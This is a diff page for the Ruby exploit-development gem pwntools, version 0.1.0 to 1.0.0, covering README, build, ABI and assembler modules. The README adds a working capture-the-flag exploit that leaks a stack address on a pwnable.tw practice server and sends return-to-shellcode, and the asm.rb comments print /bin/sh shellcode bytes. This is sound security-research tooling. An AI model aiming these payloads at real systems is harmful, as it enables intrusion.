pwntools 0.1.0 → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (123) hide show
  1. checksums.yaml +4 -4
  2. data/README.md +88 -11
  3. data/Rakefile +5 -1
  4. data/lib/pwn.rb +9 -7
  5. data/lib/pwnlib/abi.rb +60 -0
  6. data/lib/pwnlib/asm.rb +146 -0
  7. data/lib/pwnlib/constants/constant.rb +16 -2
  8. data/lib/pwnlib/constants/constants.rb +35 -19
  9. data/lib/pwnlib/constants/linux/amd64.rb +30 -1
  10. data/lib/pwnlib/context.rb +25 -17
  11. data/lib/pwnlib/dynelf.rb +117 -54
  12. data/lib/pwnlib/elf/elf.rb +267 -0
  13. data/lib/pwnlib/ext/helper.rb +4 -4
  14. data/lib/pwnlib/logger.rb +87 -0
  15. data/lib/pwnlib/memleak.rb +58 -29
  16. data/lib/pwnlib/pwn.rb +19 -8
  17. data/lib/pwnlib/reg_sort.rb +102 -108
  18. data/lib/pwnlib/shellcraft/generators/amd64/common/common.rb +14 -0
  19. data/lib/pwnlib/shellcraft/generators/amd64/common/infloop.rb +17 -0
  20. data/lib/pwnlib/shellcraft/generators/amd64/common/memcpy.rb +31 -0
  21. data/lib/pwnlib/shellcraft/generators/amd64/common/mov.rb +127 -0
  22. data/lib/pwnlib/shellcraft/generators/amd64/common/nop.rb +16 -0
  23. data/lib/pwnlib/shellcraft/generators/amd64/common/popad.rb +27 -0
  24. data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr.rb +64 -0
  25. data/lib/pwnlib/shellcraft/generators/amd64/common/pushstr_array.rb +19 -0
  26. data/lib/pwnlib/shellcraft/generators/amd64/common/ret.rb +32 -0
  27. data/lib/pwnlib/shellcraft/generators/amd64/common/setregs.rb +19 -0
  28. data/lib/pwnlib/shellcraft/generators/amd64/linux/execve.rb +21 -0
  29. data/lib/pwnlib/shellcraft/generators/amd64/linux/linux.rb +14 -0
  30. data/lib/pwnlib/shellcraft/generators/amd64/linux/ls.rb +19 -0
  31. data/lib/pwnlib/shellcraft/generators/amd64/linux/sh.rb +19 -0
  32. data/lib/pwnlib/shellcraft/generators/amd64/linux/syscall.rb +21 -0
  33. data/lib/pwnlib/shellcraft/generators/helper.rb +106 -0
  34. data/lib/pwnlib/shellcraft/generators/i386/common/common.rb +14 -0
  35. data/lib/pwnlib/shellcraft/generators/i386/common/infloop.rb +17 -0
  36. data/lib/pwnlib/shellcraft/generators/i386/common/mov.rb +90 -0
  37. data/lib/pwnlib/shellcraft/generators/i386/common/nop.rb +16 -0
  38. data/lib/pwnlib/shellcraft/generators/i386/common/pushstr.rb +39 -0
  39. data/lib/pwnlib/shellcraft/generators/i386/common/pushstr_array.rb +19 -0
  40. data/lib/pwnlib/shellcraft/generators/i386/common/setregs.rb +19 -0
  41. data/lib/pwnlib/shellcraft/generators/i386/linux/execve.rb +19 -0
  42. data/lib/pwnlib/shellcraft/generators/i386/linux/linux.rb +14 -0
  43. data/lib/pwnlib/shellcraft/generators/i386/linux/ls.rb +19 -0
  44. data/lib/pwnlib/shellcraft/generators/i386/linux/sh.rb +19 -0
  45. data/lib/pwnlib/shellcraft/generators/i386/linux/syscall.rb +19 -0
  46. data/lib/pwnlib/shellcraft/generators/x86/common/common.rb +26 -0
  47. data/lib/pwnlib/shellcraft/generators/x86/common/infloop.rb +22 -0
  48. data/lib/pwnlib/shellcraft/generators/x86/common/mov.rb +15 -0
  49. data/lib/pwnlib/shellcraft/generators/x86/common/pushstr.rb +15 -0
  50. data/lib/pwnlib/shellcraft/generators/x86/common/pushstr_array.rb +85 -0
  51. data/lib/pwnlib/shellcraft/generators/x86/common/setregs.rb +82 -0
  52. data/lib/pwnlib/shellcraft/generators/x86/linux/execve.rb +69 -0
  53. data/lib/pwnlib/shellcraft/generators/x86/linux/linux.rb +14 -0
  54. data/lib/pwnlib/shellcraft/generators/x86/linux/ls.rb +66 -0
  55. data/lib/pwnlib/shellcraft/generators/x86/linux/sh.rb +52 -0
  56. data/lib/pwnlib/shellcraft/generators/x86/linux/syscall.rb +52 -0
  57. data/lib/pwnlib/shellcraft/registers.rb +145 -0
  58. data/lib/pwnlib/shellcraft/shellcraft.rb +67 -0
  59. data/lib/pwnlib/timer.rb +60 -0
  60. data/lib/pwnlib/tubes/buffer.rb +96 -0
  61. data/lib/pwnlib/tubes/sock.rb +95 -0
  62. data/lib/pwnlib/tubes/tube.rb +270 -0
  63. data/lib/pwnlib/util/cyclic.rb +95 -94
  64. data/lib/pwnlib/util/fiddling.rb +256 -220
  65. data/lib/pwnlib/util/getdents.rb +83 -0
  66. data/lib/pwnlib/util/hexdump.rb +109 -108
  67. data/lib/pwnlib/util/lists.rb +55 -0
  68. data/lib/pwnlib/util/packing.rb +226 -228
  69. data/lib/pwnlib/util/ruby.rb +18 -0
  70. data/lib/pwnlib/version.rb +2 -1
  71. data/test/abi_test.rb +21 -0
  72. data/test/asm_test.rb +104 -0
  73. data/test/constants/constant_test.rb +1 -0
  74. data/test/constants/constants_test.rb +4 -2
  75. data/test/context_test.rb +1 -0
  76. data/test/data/echo.rb +20 -0
  77. data/test/data/elfs/Makefile +22 -0
  78. data/test/data/elfs/amd64.frelro.elf +0 -0
  79. data/test/data/elfs/amd64.frelro.pie.elf +0 -0
  80. data/test/data/elfs/amd64.nrelro.elf +0 -0
  81. data/test/data/elfs/amd64.prelro.elf +0 -0
  82. data/test/data/elfs/i386.frelro.pie.elf +0 -0
  83. data/test/data/elfs/i386.prelro.elf +0 -0
  84. data/test/data/elfs/source.cpp +19 -0
  85. data/test/data/flag +1 -0
  86. data/test/data/lib32/ld.so.2 +0 -0
  87. data/test/data/lib32/libc.so.6 +0 -0
  88. data/test/data/lib64/ld.so.2 +0 -0
  89. data/test/data/lib64/libc.so.6 +0 -0
  90. data/test/dynelf_test.rb +59 -24
  91. data/test/elf/elf_test.rb +120 -0
  92. data/test/ext_test.rb +3 -2
  93. data/test/files/use_pwnlib.rb +1 -1
  94. data/test/logger_test.rb +61 -0
  95. data/test/memleak_test.rb +4 -33
  96. data/test/reg_sort_test.rb +3 -1
  97. data/test/shellcraft/infloop_test.rb +26 -0
  98. data/test/shellcraft/linux/ls_test.rb +108 -0
  99. data/test/shellcraft/linux/sh_test.rb +119 -0
  100. data/test/shellcraft/linux/syscalls/execve_test.rb +136 -0
  101. data/test/shellcraft/linux/syscalls/syscall_test.rb +83 -0
  102. data/test/shellcraft/memcpy_test.rb +35 -0
  103. data/test/shellcraft/mov_test.rb +98 -0
  104. data/test/shellcraft/nop_test.rb +26 -0
  105. data/test/shellcraft/popad_test.rb +29 -0
  106. data/test/shellcraft/pushstr_array_test.rb +91 -0
  107. data/test/shellcraft/pushstr_test.rb +108 -0
  108. data/test/shellcraft/registers_test.rb +32 -0
  109. data/test/shellcraft/ret_test.rb +30 -0
  110. data/test/shellcraft/setregs_test.rb +62 -0
  111. data/test/shellcraft/shellcraft_test.rb +28 -0
  112. data/test/test_helper.rb +12 -1
  113. data/test/timer_test.rb +23 -0
  114. data/test/tubes/buffer_test.rb +45 -0
  115. data/test/tubes/sock_test.rb +68 -0
  116. data/test/tubes/tube_test.rb +241 -0
  117. data/test/util/cyclic_test.rb +2 -1
  118. data/test/util/fiddling_test.rb +2 -1
  119. data/test/util/getdents_test.rb +32 -0
  120. data/test/util/hexdump_test.rb +7 -9
  121. data/test/util/lists_test.rb +21 -0
  122. data/test/util/packing_test.rb +4 -3
  123. metadata +215 -25
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 03accad444e614bc79ec41ce5e4340d32058a3e0
4
- data.tar.gz: 827fd60a5aded02428f145da00345acaeb9d42b3
3
+ metadata.gz: e8617d0c3ce0deb5ba38b0f4c2b4d11c26ff2c48
4
+ data.tar.gz: 22a859a445f8fb1fa84c9c164f2f093ccaf81bcb
5
5
  SHA512:
6
- metadata.gz: f13058f95608bfd3444f2c99dde3d62b4d35d59a35ae3aed8b12a12fb016129fd8de2ed339feb0f6a9d36f798244e33970e91fbee94923b40da46bbe8150f082
7
- data.tar.gz: 11ce79df711489bda139e77f9c02002a9e992c03be35dd06af760a2580a0fc3864462a1c292abf99a09a52a45fff1554f4001a65bc99154307821f6817740e88
6
+ metadata.gz: dec0121c94efbe114141de88e820e7ab64c25e64938e44413293a9b61d325ac6dcd0239588b930326a7c7da49378deebcbf94154cc59411e22f8926b95954668
7
+ data.tar.gz: 34f90a6171b82df95d5c5a78252ae370cc6251da6deeac65f2bbd011efa251ebf65e7435046cb159e42740c2f072ac6dc5de80f429496ed7f3cd2afe0978b020
data/README.md CHANGED
@@ -12,12 +12,12 @@ Always sad when playing CTF that there's nothing equivalent to pwntools in Pytho
12
12
  While pwntools is awesome, I always love Ruby far more than Python...
13
13
  So this is an attempt to create such library.
14
14
 
15
- There's almost NOTHING here now.
16
- (Edit: there's something here now, but not much :wink:)
17
- Going to implement important things (socket, tubes, asm/disasm, pack/unpack utilities) first.
18
15
  Would try to have consistent naming with original pwntools, and do things in Ruby style.
19
16
 
20
17
  # Example Usage
18
+
19
+ Here's an exploitation for `start` which is a challenge on [pwnable.tw](https://pwnable.tw).
20
+
21
21
  ```ruby
22
22
  # encoding: ASCII-8BIT
23
23
  # The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code,
@@ -25,20 +25,97 @@ Would try to have consistent naming with original pwntools, and do things in Rub
25
25
 
26
26
  require 'pwn'
27
27
 
28
- p pack(0x41424344) # 'DCBA'
29
- context.endian = 'big'
30
- p pack(0x41424344) # 'ABCD'
28
+ context.arch = 'i386'
29
+ context.log_level = :debug
30
+ z = Sock.new 'chall.pwnable.tw', 10000
31
+
32
+ z.recvuntil "Let's start the CTF:"
33
+ z.send p32(0x8048087).rjust(0x18, 'A')
34
+ stk = u32(z.recvuntil "\xff")
35
+ log.info "stack address: #{stk.hex}" # Log stack address
36
+
37
+ # Return to shellcode
38
+ addr = stk + 0x14
39
+ payload = addr.p32.rjust(0x18, 'A') + asm(shellcraft.sh)
40
+ z.write payload
41
+
42
+ # Switch to interactive mode
43
+ z.interact
44
+ ```
45
+
46
+ More features and details can be found in the
47
+ [documentation](http://www.rubydoc.info/github/peter50216/pwntools-ruby/master/frames).
31
48
 
32
- context.local(bits: 16) do
33
- p pack(0x4142) # 'AB'
34
- end
49
+ # Installation
50
+
51
+ ### Install the latest release:
52
+ ```sh
53
+ gem install pwntools
54
+ ```
55
+
56
+ ### Install from master branch:
57
+ ```sh
58
+ git clone https://github.com/peter50216/pwntools-ruby
59
+ cd pwntools-ruby
60
+ gem build pwntools.gemspec && gem install pwntools-*.gem
35
61
  ```
36
62
 
63
+ ### optional
64
+
65
+ Some of the features (assembling/disassembling) require non-Ruby dependencies. Checkout the
66
+ installation guide for
67
+ [keystone-engine](https://github.com/keystone-engine/keystone/tree/master/docs) and
68
+ [capstone-engine](http://www.capstone-engine.org/documentation.html).
69
+
70
+ Or you are able to get running quickly with
71
+
72
+ ```sh
73
+ # Install Capstone
74
+ sudo apt-get install libcapstone3
75
+
76
+ # Compile and install Keystone from source
77
+ sudo apt-get install cmake
78
+ git clone https://github.com/keystone-engine/keystone.git /tmp/keystone
79
+ cd /tmp/keystone
80
+ mkdir build
81
+ cd build
82
+ ../make-share.sh
83
+ sudo make install
84
+ ```
85
+
86
+ # Supported Features
87
+
88
+ ## Architectures
89
+
90
+ - [x] i386
91
+ - [x] amd64
92
+ - [ ] arm
93
+ - [ ] thumb
94
+
95
+ ## Modules
96
+
97
+ - [x] context
98
+ - [x] asm
99
+ - [x] disasm
100
+ - [x] shellcraft
101
+ - [x] elf
102
+ - [x] dynelf
103
+ - [x] logger
104
+ - [ ] tube
105
+ - [x] sock
106
+ - [ ] process
107
+ - [ ] fmtstr
108
+ - [x] util
109
+ - [x] pack
110
+ - [x] cyclic
111
+ - [x] fiddling
112
+
37
113
  # Development
38
114
  ```sh
39
- git clone git@github.com:peter50216/pwntools-ruby.git
115
+ git clone https://github.com/peter50216/pwntools-ruby
40
116
  cd pwntools-ruby
41
- rake
117
+ bundle
118
+ bundle exec rake
42
119
  ```
43
120
 
44
121
  # Note to irb users
data/Rakefile CHANGED
@@ -5,10 +5,10 @@ require 'bundler/gem_tasks'
5
5
  require 'rainbow'
6
6
  require 'rake/testtask'
7
7
  require 'rubocop/rake_task'
8
+ require 'yard'
8
9
 
9
10
  RuboCop::RakeTask.new(:rubocop) do |task|
10
11
  task.patterns = ['lib/**/*.rb', 'test/**/*.rb']
11
- task.formatters = ['files']
12
12
  end
13
13
 
14
14
  task default: %i(install_git_hooks rubocop test)
@@ -18,9 +18,13 @@ Rake::TestTask.new(:test) do |test|
18
18
  test.libs << 'test'
19
19
  test.pattern = 'test/**/*_test.rb'
20
20
  test.verbose = true
21
+ test.options = '--pride'
21
22
  end
22
23
 
24
+ YARD::Rake::YardocTask.new(:doc)
25
+
23
26
  task :install_git_hooks do
27
+ next if ENV['CI']
24
28
  hooks = %w(pre-push)
25
29
  git_hook_dir = Pathname.new('.git/hooks/')
26
30
  hook_dir = Pathname.new('git-hooks/')
data/lib/pwn.rb CHANGED
@@ -1,7 +1,7 @@
1
1
  # encoding: ASCII-8BIT
2
2
 
3
- # require this file for easy exploit development, but would pollute main Object
4
- # and some built-in objects (String, Integer, ...)
3
+ # require this file for easy exploit development, but would pollute main Object and some built-in objects. (String,
4
+ # Integer, ...)
5
5
 
6
6
  require 'pwnlib/pwn'
7
7
 
@@ -12,13 +12,15 @@ require 'pwnlib/ext/array'
12
12
  extend Pwn
13
13
 
14
14
  include Pwnlib
15
+ include Pwnlib::Tubes
16
+
17
+ # XXX(david942j): include here because module ELF and class ELF have same name..
18
+ include ::Pwnlib::ELF
15
19
 
16
20
  # Small "fix" for irb context problem.
17
- # irb defines main.context for IRB::Context, which overrides our
18
- # Pwnlib::Context :(
19
- # Since our "context" should be more important for someone requiring 'pwn',
20
- # and the IRB::Context can still be accessible from irb_context, we should be
21
- # fine removing context.
21
+ # irb defines main.context for IRB::Context, which overrides our Pwnlib::Context. :(
22
+ # Since our "context" should be more important for someone requiring 'pwn', and the IRB::Context can still be accessible
23
+ # from irb_context, we should be fine removing context.
22
24
  class << self
23
25
  remove_method(:context) if method_defined?(:context)
24
26
  end
@@ -0,0 +1,60 @@
1
+ # encoding: ASCII-8BIT
2
+
3
+ require 'pwnlib/context'
4
+
5
+ module Pwnlib
6
+ # Encapsulates information about a calling convention.
7
+ module ABI
8
+ # A super class for recording registers and stack's information.
9
+ class ABI
10
+ attr_reader :register_arguments
11
+ attr_reader :arg_alignment
12
+ attr_reader :stack_pointer
13
+ # Only used for x86, to specify the +eax+, +edx+ pair.
14
+ attr_reader :cdq_pair
15
+ def initialize(regs, align, stack_pointer, cdq_pair: nil)
16
+ @register_arguments = regs
17
+ @arg_alignment = align
18
+ @stack_pointer = stack_pointer
19
+ @cdq_pair = cdq_pair
20
+ end
21
+
22
+ class << self
23
+ def default
24
+ DEFAULT[arch_key]
25
+ end
26
+
27
+ def syscall
28
+ SYSCALL[arch_key]
29
+ end
30
+
31
+ private
32
+
33
+ def arch_key
34
+ [context.bits, context.arch, context.os]
35
+ end
36
+ include ::Pwnlib::Context
37
+ end
38
+ end
39
+
40
+ # The syscall ABI treats the syscall number as the zeroth argument,
41
+ # which must be loaded into the specified register.
42
+ class SyscallABI < ABI
43
+ attr_reader :syscall_str
44
+ def initialize(regs, align, stack_pointer, syscall_str)
45
+ super(regs, align, stack_pointer)
46
+ @syscall_str = syscall_str
47
+ end
48
+ end
49
+
50
+ DEFAULT = {
51
+ [32, 'i386', 'linux'] => ABI.new([], 4, 'esp', cdq_pair: %w(eax edx)),
52
+ [64, 'amd64', 'linux'] => ABI.new(%w(rdi rsi rdx rcx r8 r9), 8, 'rsp', cdq_pair: %w(rax rdx))
53
+ }.freeze
54
+
55
+ SYSCALL = {
56
+ [32, 'i386', 'linux'] => SyscallABI.new(%w(eax ebx ecx edx esi edi ebp), 4, 'esp', 'int 0x80'),
57
+ [64, 'amd64', 'linux'] => SyscallABI.new(%w(rax rdi rsi rdx r10 r8 r9), 8, 'rsp', 'syscall')
58
+ }.freeze
59
+ end
60
+ end
@@ -0,0 +1,146 @@
1
+ # encoding: ASCII-8BIT
2
+
3
+ require 'keystone_engine/keystone_const'
4
+
5
+ require 'pwnlib/context'
6
+ require 'pwnlib/util/ruby'
7
+
8
+ module Pwnlib
9
+ # Convert assembly code to machine code and vice versa.
10
+ # Use two open-source projects +keystone+/+capstone+ to asm/disasm.
11
+ module Asm
12
+ module_function
13
+
14
+ # Disassembles a bytestring into human readable assembly.
15
+ #
16
+ # {.disasm} depends on another open-source project - capstone, error will be raised if capstone is not intalled.
17
+ # @param [String] data
18
+ # The bytestring.
19
+ # @param [Integer] vma
20
+ # Virtual memory address.
21
+ #
22
+ # @return [String]
23
+ # Disassemble result with nice typesetting.
24
+ #
25
+ # @raise [LoadError]
26
+ # If libcapstone is not installed.
27
+ #
28
+ # @example
29
+ # context.arch = 'i386'
30
+ # print disasm("\xb8\x5d\x00\x00\x00")
31
+ # # 0: b8 5d 00 00 00 mov eax, 0x5d
32
+ #
33
+ # context.arch = 'amd64'
34
+ # print disasm("\xb8\x17\x00\x00\x00")
35
+ # # 0: b8 17 00 00 00 mov eax, 0x17
36
+ # print disasm("jhH\xb8/bin///sPH\x89\xe71\xd21\xf6j;X\x0f\x05", vma: 0x1000)
37
+ # # 1000: 6a 68 push 0x68
38
+ # # 1002: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f
39
+ # # 100c: 50 push rax
40
+ # # 100d: 48 89 e7 mov rdi, rsp
41
+ # # 1010: 31 d2 xor edx, edx
42
+ # # 1012: 31 f6 xor esi, esi
43
+ # # 1014: 6a 3b push 0x3b
44
+ # # 1016: 58 pop rax
45
+ # # 1017: 0f 05 syscall
46
+ def disasm(data, vma: 0)
47
+ require_message('crabstone', install_crabstone_guide) # will raise error if require fail.
48
+ cs = Crabstone::Disassembler.new(cap_arch, cap_mode)
49
+ insts = cs.disasm(data, vma).map do |ins|
50
+ [ins.address, ins.bytes.pack('C*'), ins.mnemonic, ins.op_str.to_s]
51
+ end
52
+ max_dlen = format('%x', insts.last.first).size + 2
53
+ max_hlen = insts.map { |ins| ins[1].size }.max * 3
54
+ insts.reduce('') do |s, ins|
55
+ hex_code = ins[1].bytes.map { |c| format('%02x', c) }.join(' ')
56
+ inst = if ins[3].empty?
57
+ ins[2]
58
+ else
59
+ format('%-7s %s', ins[2], ins[3])
60
+ end
61
+ s + format("%#{max_dlen}x: %-#{max_hlen}s%s\n", ins[0], hex_code, inst)
62
+ end
63
+ end
64
+
65
+ # Convert assembly code to machine code.
66
+ #
67
+ # @param [String] code
68
+ # The assembly code to be converted.
69
+ #
70
+ # @return [String]
71
+ # The result.
72
+ #
73
+ # @example
74
+ # assembly = shellcraft.amd64.linux.sh
75
+ # context.local(arch: 'amd64') { asm(assembly) }
76
+ # #=> "jhH\xB8/bin///sPj;XH\x89\xE71\xF6\x99\x0F\x05"
77
+ #
78
+ # context.local(arch: 'i386') { asm(shellcraft.sh) }
79
+ # #=> "jhh///sh/binj\vX\x89\xE31\xC9\x99\xCD\x80"
80
+ #
81
+ # @diff
82
+ # Not support +asm('mov eax, SYS_execve')+.
83
+ def asm(code)
84
+ require_message('keystone_engine', install_keystone_guide)
85
+ KeystoneEngine::Ks.new(ks_arch, ks_mode).asm(code)[0]
86
+ end
87
+
88
+ ::Pwnlib::Util::Ruby.private_class_method_block do
89
+ def cap_arch
90
+ {
91
+ 'i386' => Crabstone::ARCH_X86,
92
+ 'amd64' => Crabstone::ARCH_X86
93
+ }[context.arch]
94
+ end
95
+
96
+ def cap_mode
97
+ {
98
+ 32 => Crabstone::MODE_32,
99
+ 64 => Crabstone::MODE_64
100
+ }[context.bits]
101
+ end
102
+
103
+ def ks_arch
104
+ {
105
+ 'i386' => KeystoneEngine::KS_ARCH_X86,
106
+ 'amd64' => KeystoneEngine::KS_ARCH_X86
107
+ }[context.arch]
108
+ end
109
+
110
+ def ks_mode
111
+ {
112
+ 32 => KeystoneEngine::KS_MODE_32,
113
+ 64 => KeystoneEngine::KS_MODE_64
114
+ }[context.bits]
115
+ end
116
+
117
+ # FFI is used in keystone and capstone binding gems, this method handles when libraries not installed yet.
118
+ def require_message(lib, msg)
119
+ require lib
120
+ rescue LoadError => e
121
+ raise LoadError, e.message + "\n\n" + msg
122
+ end
123
+
124
+ def install_crabstone_guide
125
+ <<-EOS
126
+ #disasm dependes on capstone, which is detected not installed yet.
127
+ Checkout the following link for installation guide:
128
+
129
+ http://www.capstone-engine.org/documentation.html
130
+
131
+ EOS
132
+ end
133
+
134
+ def install_keystone_guide
135
+ <<-EOS
136
+ #asm dependes on keystone, which is detected not installed yet.
137
+ Checkout the following link for installation guide:
138
+
139
+ https://github.com/keystone-engine/keystone/tree/master/docs
140
+
141
+ EOS
142
+ end
143
+ include ::Pwnlib::Context
144
+ end
145
+ end
146
+ end
@@ -4,9 +4,23 @@ require 'pwnlib/util/fiddling'
4
4
 
5
5
  module Pwnlib
6
6
  module Constants
7
- # A class that includes name and value
7
+ # A class that includes name and value representing a constant.
8
+ # This class works like an integer, and support operations with integers.
9
+ #
10
+ # @example
11
+ # a = Pwnlib::Constants::Constant.new('a', 0x3)
12
+ # #=> Constant("a", 0x3)
13
+ # [a + 1, 2 * a, a | 6, a == 3, 0 > a]
14
+ # #=> [4, 6, 7, true, false]
8
15
  class Constant < Numeric
9
- attr_reader :str, :val
16
+ # @return [String]
17
+ attr_reader :str
18
+
19
+ # @return [Integer]
20
+ attr_reader :val
21
+
22
+ # @param [String] str
23
+ # @param [Integer] val
10
24
  def initialize(str, val)
11
25
  @str = str
12
26
  @val = val
@@ -1,45 +1,54 @@
1
1
  # encoding: ASCII-8BIT
2
2
 
3
- require 'pwnlib/context'
3
+ require 'dentaku'
4
+
4
5
  require 'pwnlib/constants/constant'
6
+ require 'pwnlib/context'
5
7
 
6
8
  module Pwnlib
7
- # Module containing constants
9
+ # Module containing constants.
10
+ #
8
11
  # @example
9
12
  # context.arch = 'amd64'
10
13
  # Pwnlib::Constants.SYS_read
11
- # # => Constant('SYS_read', 0x0)
14
+ # #=> Constant('SYS_read', 0x0)
12
15
  module Constants
13
- # @note Do not create and call instance method here. Instead, call module method on {Constants}.
14
- module ClassMethods
15
- include ::Pwnlib::Context
16
- ENV_STORE = {} # rubocop:disable Style/MutableConstant
17
- # Try getting constants when method missing
16
+ class << self
17
+ # To support getting constants like +Pwnlib::Constants.SYS_read+.
18
+ #
19
+ # @return [Constant]
20
+ #
21
+ # @raise [NoMethodError]
18
22
  def method_missing(method, *args, &block)
19
23
  args.empty? && block.nil? && get_constant(method) || super
20
24
  end
21
25
 
26
+ # @return [Boolean]
22
27
  def respond_to_missing?(method, _include_all)
23
28
  !get_constant(method).nil?
24
29
  end
25
30
 
26
- # Eval for Constants
31
+ # Eval for Constants.
27
32
  #
28
33
  # @param [String] str
29
- # The string to be evaluate.
34
+ # The string to be evaluated.
30
35
  #
31
36
  # @return [Constant]
32
- # The evaluate result.
37
+ # The evaluated result.
33
38
  #
34
39
  # @example
35
40
  # eval('O_CREAT')
36
- # => Constant('(O_CREAT)', 0x40)
37
- #
38
- # @todo(david942j): Support eval('O_CREAT | O_APPEND') (i.e. safeeval)
41
+ # #=> Constant('(O_CREAT)', 0x40)
42
+ # eval('O_CREAT | O_APPEND')
43
+ # #=> Constant('(O_CREAT | O_APPEND)', 0x440)
39
44
  def eval(str)
40
45
  return str unless str.instance_of?(String)
41
- const = get_constant(str.strip.to_sym)
42
- ::Pwnlib::Constants::Constant.new("(#{str})", const.val)
46
+ begin
47
+ val = calculator.evaluate!(str.strip).to_i
48
+ rescue Dentaku::UnboundVariableError => e
49
+ raise NameError, e.message
50
+ end
51
+ ::Pwnlib::Constants::Constant.new("(#{str})", val)
43
52
  end
44
53
 
45
54
  private
@@ -48,6 +57,7 @@ module Pwnlib
48
57
  [context.os, context.arch]
49
58
  end
50
59
 
60
+ ENV_STORE = {} # rubocop:disable Style/MutableConstant
51
61
  def current_store
52
62
  ENV_STORE[current_arch_key] ||= load_constants(current_arch_key)
53
63
  end
@@ -56,9 +66,15 @@ module Pwnlib
56
66
  current_store[symbol]
57
67
  end
58
68
 
59
- # Small class for instance_eval loaded file
69
+ CALCULATORS = {} # rubocop:disable Style/MutableConstant
70
+ def calculator
71
+ CALCULATORS[current_arch_key] ||= Dentaku::Calculator.new.store(current_store)
72
+ end
73
+
74
+ # Small class for instance_eval loaded file.
60
75
  class ConstantBuilder
61
76
  attr_reader :tbl
77
+
62
78
  def initialize
63
79
  @tbl = {}
64
80
  end
@@ -75,8 +91,8 @@ module Pwnlib
75
91
  builder.instance_eval(IO.read(filename))
76
92
  builder.tbl
77
93
  end
78
- end
79
94
 
80
- extend ClassMethods
95
+ include ::Pwnlib::Context
96
+ end
81
97
  end
82
98
  end